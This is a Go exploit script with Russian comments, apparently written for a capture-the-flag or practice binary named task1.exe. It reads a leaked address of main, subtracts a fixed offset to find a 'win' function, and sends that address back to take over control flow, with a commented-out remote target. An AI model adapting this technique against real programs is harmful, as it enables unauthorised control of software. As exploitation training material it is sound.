/*
В Go нет встроенной перегрузки типов, поэтому конвертация
cырых байт из пайпа в строку, затем в число,
вычитание смещения и обратная конвертация в строку
делаются явно через пакеты bytes и strconv.
*/

package main

import (
	"bytes"
	"fmt"
	"log"
	"strconv"
	"winpwn"
)

func main() {
	tube, err := winpwn.Spawn("./task1.exe")
	// tube, err := winpwn.Remote("10.8.0.1", "50957")
	if err != nil {
		log.Fatalf("Spawn: %v", err)
	}

	if _, err := tube.RecvUntil([]byte("main: ")); err != nil {
		log.Fatalf("RecvUntil: %v", err)
	}

	// Читаем строку с адресом до переноса и очищаем от спецсимволов (\r\n)
	addrBytes, err := tube.RecvUntil([]byte("\n"))
	if err != nil {
		log.Fatalf("RecvUntil: %v", err)
	}
	addrStr := string(bytes.TrimSpace(addrBytes))

	// В зависимости от компилятора, %p может добавлять или не добавлять "0x"
	//addrStr = strings.TrimPrefix(addrStr, "0x")

	// Аналог main = int(main, 16)
	mainAddr, err := strconv.ParseUint(addrStr, 16, 64)
	if err != nil {
		log.Fatalf("Failed to parse leaked address: %v", err)
	}
	fmt.Printf("[+] Leaked main: 0x%X\n", mainAddr)
	//addr(win)-addr(main) = 267
	offset := uint64(267)
	winAddr := mainAddr - offset
	fmt.Printf("[+] Calculated win: 0x%X\n", winAddr)

	// Аналог hex(win).encode()
	// %x форматирует число в hex-строку без префикса 0x
	payload := fmt.Sprintf("%x", winAddr)

	if err := tube.SendLineAfter([]byte("0x12345: "), []byte(payload)); err != nil {
		log.Fatalf("SendLineAfter: %v", err)
	}

	tube.Interactive()
}
